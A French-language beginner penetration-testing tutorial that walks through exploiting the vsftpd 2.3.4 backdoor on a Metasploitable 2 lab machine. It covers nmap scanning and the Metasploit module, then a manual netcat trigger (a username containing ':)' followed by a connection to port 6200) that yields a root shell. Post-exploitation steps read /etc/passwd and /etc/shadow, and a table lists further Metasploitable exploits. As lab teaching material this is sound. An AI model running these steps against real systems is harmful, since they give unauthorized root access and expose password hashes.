Auteur : ML | GitHub : exploit4040
Laboratoire : Metasploitable 2 + VMware
Niveau : Débutant → Intermédiaire
Objectif : Comprendre la vulnérabilité vsftpd 2.3.4 de A à Z et maîtriser la méthodologie universelle d'exploitation
Ces techniques sont uniquement légales dans un environnement isolé que tu contrôles.
Metasploitable 2 est une machine virtuelle conçue spécialement pour la pratique.
N'utilise jamais ces techniques sur des systèmes sans autorisation écrite explicite.
- Les Fondamentaux
- La Vulnérabilité vsftpd
- Méthodologie d'un Pentest
- Pratique pas à pas
- Exploitation manuelle
- Généraliser à d'autres vulnérabilités
- Vocabulaire essentiel
Imagine ton ordinateur comme un immeuble :
- L'adresse IP = l'adresse de l'immeuble
- Les ports = les portes numérotées de cet immeuble
- Chaque porte donne accès à un service différent
Immeuble (192.168.1.100)
├── Porte 21 → FTP (transfert de fichiers)
├── Porte 22 → SSH (connexion sécurisée)
├── Porte 80 → HTTP (site web)
└── Porte 3306 → MySQL (base de données)
FTP = File Transfer Protocol
C'est un protocole qui permet de transférer des fichiers entre un client et un serveur.
[Ton PC / Client FTP] ←——fichiers——→ [Serveur FTP Port 21]
Fonctionnement technique :
Étape 1 : Client se connecte au serveur sur le port 21
Étape 2 : Serveur demande un nom d'utilisateur
Étape 3 : Serveur demande un mot de passe
Étape 4 : Si authentification OK → accès aux fichiers
⚠️ Problème de sécurité natif de FTP :
FTP envoie tout en clair (non chiffré) sur le réseau.
Un attaquant peut intercepter le mot de passe avec Wireshark !
vsftpd = Very Secure FTP Daemon
C'est un logiciel serveur FTP très populaire sur Linux.
- "Daemon" = programme qui tourne en arrière-plan
- La version 2.3.4 est la version vulnérable qui nous intéresse
Une backdoor (porte dérobée) = un accès caché intentionnellement ou accidentellement laissé dans un logiciel.
Porte principale (authentification normale)
↓
[Vérification mot de passe]
↓
Accès autorisé ou refusé
Porte dérobée (backdoor)
↓
[Pas de vérification]
↓
Accès direct au système !
En juillet 2011, le code source de vsftpd hébergé sur le serveur officiel de distribution a été compromis par un attaquant.
Timeline :
──────────────────────────────────────────────────
Juillet 2011 → Attaquant modifie le code source
sur le serveur de distribution
Les utilisateurs téléchargeaient la version
infectée sans le savoir !
Résultat → Backdoor présente sur tous les
serveurs ayant installé vsftpd 2.3.4
──────────────────────────────────────────────────
🧠 C'est ce qu'on appelle une Supply Chain Attack (attaque de la chaîne d'approvisionnement).
L'attaquant ne vise pas directement la victime, mais l'outil qu'elle utilise.
Exemples célèbres : SolarWinds (2020), XZ Utils (2024).
Condition déclenchante :
Si le nom d'utilisateur contient ":)" ← le smiley !
↓
Le serveur ouvre secrètement le port 6200
↓
Sur ce port → un SHELL ROOT est disponible
↓
L'attaquant se connecte sur le port 6200
↓
Accès TOTAL au système en tant que ROOT !
Schéma de communication complet :
ATTAQUANT SERVEUR METASPLOITABLE
| |
|──── USER motdepasse:) ──────────────>|
| | ← Détecte le ":)"
| | ← Ouvre le port 6200
| | ← Lance un shell root
| |
|──── Connexion port 6200 ────────────>|
| |
|<════ ROOT SHELL ════════════════════|
| |
PWNED ! Compromis !
Un shell = une interface en ligne de commande pour contrôler un système.
Shell normal → tu contrôles TON ordinateur
Shell distant → tu contrôles L'ORDINATEUR CIBLE
Root shell → tu contrôles la cible avec les
droits MAXIMUM (administrateur)
Analogie : Obtenir un root shell, c'est comme obtenir le trousseau de clés maître d'un immeuble. Tu peux ouvrir TOUTES les portes.
┌─────────────────────────────────────────────────┐
│ PHASE 1 : RECONNAISSANCE │
│ → Qui est la cible ? Quels services ? │
├─────────────────────────────────────────────────┤
│ PHASE 2 : SCAN & ÉNUMÉRATION │
│ → Quels ports sont ouverts ? Quelles versions ? │
├─────────────────────────────────────────────────┤
│ PHASE 3 : EXPLOITATION │
│ → Utiliser la vulnérabilité pour entrer │
├─────────────────────────────────────────────────┤
│ PHASE 4 : POST-EXPLOITATION │
│ → Que faire une fois à l'intérieur ? │
├─────────────────────────────────────────────────┤
│ PHASE 5 : RAPPORT │
│ → Documenter les failles trouvées │
└─────────────────────────────────────────────────┘
🧠 Cette méthodologie s'applique à TOUTES les vulnérabilités, pas seulement vsftpd.
Vérifier que tu es sur le bon réseau :
# Sur ta machine Kali Linux
ip addr show
# Note ton IP, ex: 192.168.56.101Découvrir les machines actives sur le réseau :
# Scan de découverte réseau
nmap -sn 192.168.56.0/24
# Résultat attendu :
# Host: 192.168.56.100 (metasploitable) → UpScan complet du port 21 :
nmap -sV -sC -p 21 192.168.56.100
# Options :
# -sV → détecte les versions des services
# -sC → lance les scripts de détection par défaut
# -p 21 → cible uniquement le port 21Résultat attendu :
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed
🧠 Leçon clé : La version détectée = la clé pour trouver des vulnérabilités connues.
Toujours noter les versions exactes des services !
# Chercher dans la base de données Exploit-DB
searchsploit vsftpd 2.3.4
# Résultat :
# vsftpd 2.3.4 - Backdoor Command Execution | EDB-ID: 17491Sources de recherche professionnelles :
| Source | URL | Usage |
|---|---|---|
| Exploit-DB | https://exploit-db.com | Base d'exploits publics |
| NVD NIST | https://nvd.nist.gov | Base CVE officielle |
| CVE Details | https://cvedetails.com | Détails des CVE |
| Rapid7 | https://rapid7.com/db | Infos Metasploit |
C'est quoi Metasploit Framework ?
Metasploit = boîte à outils d'exploitation
├── Exploits pré-codés (centaines de modules)
├── Payloads (code envoyé à la cible)
├── Modules auxiliaires (scan, bruteforce...)
└── Interface unifiée pour tout gérer
Étape 1 — Lancer Metasploit :
msfconsoleÉtape 2 — Chercher l'exploit :
msf6 > search vsftpd
# Résultat :
# 0 exploit/unix/ftp/vsftpd_234_backdoor ExcellentÉtape 3 — Charger l'exploit :
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# Le prompt change :
# msf6 exploit(unix/ftp/vsftpd_234_backdoor) >Étape 4 — Voir les options requises :
msf6 exploit(...) > show options
# Options importantes :
# RHOSTS → IP de la CIBLE (Remote HOST)
# RPORT → port cible (21 par défaut)
# LHOST → ton IP (pour le retour du shell)Étape 5 — Configurer l'exploit :
msf6 exploit(...) > set RHOSTS 192.168.56.100
msf6 exploit(...) > show options # vérifier la configÉtape 6 — Lancer l'exploit :
msf6 exploit(...) > runCe qui se passe en coulisses lors du run :
1. Metasploit se connecte au port 21 (FTP)
2. Envoie un username contenant ":)"
3. Le serveur déclenche la backdoor
4. Le port 6200 s'ouvre sur le serveur
5. Metasploit se connecte automatiquement au port 6200
6. Tu reçois un shell root !
Résultat attendu :
[*] 192.168.56.100:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.100:21 - USER: 331 Please specify password.
[+] 192.168.56.100:21 - Backdoor service has been spawned!
[+] 192.168.56.100:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened
id
uid=0(root) gid=0(root) groups=0(root)
Une fois root, voici ce qu'il est possible de faire dans un contexte de pentest :
# Vérifier les droits
id
# uid=0(root) → tu es root !
# Identifier le système
uname -a
# Lister les utilisateurs
cat /etc/passwd
# Récupérer les hashes de mots de passe
cat /etc/shadow
# Voir les fichiers sensibles
ls /root/
ls /home/
# Voir les connexions réseau actives
netstat -antp
# Vérifier les tâches planifiées
crontab -l
cat /etc/crontab🧠 Pourquoi faire ça manuellement ?
Comprendre l'exploit sans outil automatique = vraie maîtrise.
Les outils peuvent échouer, mais la compréhension reste toujours.
Terminal 1 — Déclencher la backdoor :
nc 192.168.56.100 21
# Connecté au serveur FTP
# Tu reçois :
# 220 (vsFTPd 2.3.4)
# Envoyer le username avec le smiley
USER test:)
# 331 Please specify the password.
PASS anypassword
# La connexion FTP échoue MAIS...
# Le port 6200 vient de s'ouvrir en arrière-plan !Terminal 2 — Se connecter au shell backdoor :
nc 192.168.56.100 6200
# Tu reçois directement un shell root !
id
# uid=0(root) gid=0(root)
whoami
# rootSchéma complet de l'exploitation manuelle :
Terminal 1 (port 21) Serveur
──────────────────────────────────────────
USER toto:) ──────────> Détecte ":)"
Lance /bin/sh
sur port 6200
PASS xxxx ──────────> FTP échoue
Mais port 6200 OUVERT !
Terminal 2 (port 6200) Serveur
──────────────────────────────────────────
nc ... 6200 ──────────> Connexion acceptée
<────────── Shell root envoyé
id ──────────>
<────────── uid=0(root)
┌────────────────────────────────────────────────┐
│ MODÈLE UNIVERSEL D'EXPLOIT │
│ │
│ 1. IDENTIFIER → service + version exacte │
│ ↓ │
│ 2. RECHERCHER → CVE / exploits connus │
│ ↓ │
│ 3. COMPRENDRE → comment fonctionne la faille │
│ ↓ │
│ 4. CONFIGURER → IP cible, port, options │
│ ↓ │
│ 5. EXÉCUTER → lancer et obtenir l'accès │
│ ↓ │
│ 6. POST-EXPLOIT → explorer, documenter │
└────────────────────────────────────────────────┘
| Type | Description | Exemple sur Metasploitable 2 |
|---|---|---|
| Backdoor | Accès caché dans le code | vsftpd 2.3.4, UnrealIRCd |
| Default Credentials | Identifiants par défaut jamais changés | MySQL root sans mdp, VNC |
| RCE | Exécution de code à distance | Samba 3.0.20, distccd |
| Misconfiguration | Mauvaise configuration serveur | NFS, Anonymous FTP |
| Injection | Injecter du code malveillant | SQLi sur DVWA |
| Buffer Overflow | Débordement de mémoire | Exploits binaires |
| Port | Service | Même modèle applicable ? |
|---|---|---|
| 445 | Samba 3.0.20 | ✅ exploit/multi/samba/usermap_script |
| 6667 | UnrealIRCd | ✅ exploit/unix/irc/unreal_ircd_3281_backdoor |
| 8180 | Tomcat | ✅ Credentials par défaut → upload war |
| 3306 | MySQL | ✅ Connexion root sans mot de passe |
| 1524 | Bindshell | ✅ nc cible 1524 → root direct |
| Terme | Définition |
|---|---|
| CVE | Common Vulnerabilities and Exposures — identifiant unique d'une vulnérabilité |
| CVSS | Score de sévérité de 0 à 10 (10 = critique) |
| Payload | Code envoyé à la cible lors de l'exploitation |
| Shell | Interface de commande sur le système cible |
| Root Shell | Shell avec droits administrateur maximum |
| Reverse Shell | La CIBLE se connecte à NOUS |
| Bind Shell | NOUS nous connectons à la CIBLE |
| Privilege Escalation | Technique pour passer de user à root |
| Daemon | Programme tournant en arrière-plan sur Linux |
| Supply Chain Attack | Attaque via un logiciel utilisé par la victime |
| Enumeration | Phase de collecte d'informations sur la cible |
| CVE-2011-2523 | L'identifiant officiel de la backdoor vsftpd 2.3.4 |
✅ Comprendre les ports et le protocole FTP
✅ L'histoire et l'origine de la backdoor vsftpd 2.3.4
✅ Le mécanisme technique de la backdoor (smiley → port 6200)
✅ La méthodologie complète en 5 phases d'un pentest
✅ Scanner avec Nmap et interpréter les résultats
✅ Exploiter avec Metasploit Framework
✅ Reproduire l'exploit manuellement avec Netcat
✅ Post-exploitation de base
✅ Le modèle universel applicable à TOUTES les vulnérabilités
- ✅ Maîtriser vsftpd 2.3.4 (ce cours)
- 🔜 Port 445 — Samba
usermap_script(RCE root) - 🔜 Port 6667 — UnrealIRCd Backdoor
- 🔜 Port 3306 — MySQL sans mot de passe
- 🔜 Port 80 — DVWA (SQLi, XSS, LFI...)
- 🔜 Port 8180 — Apache Tomcat Manager RCE
Auteur : ML
GitHub : exploit4040
Laboratoire : Metasploitable 2 — VMware
Document à usage éducatif uniquement dans un environnement de lab isolé.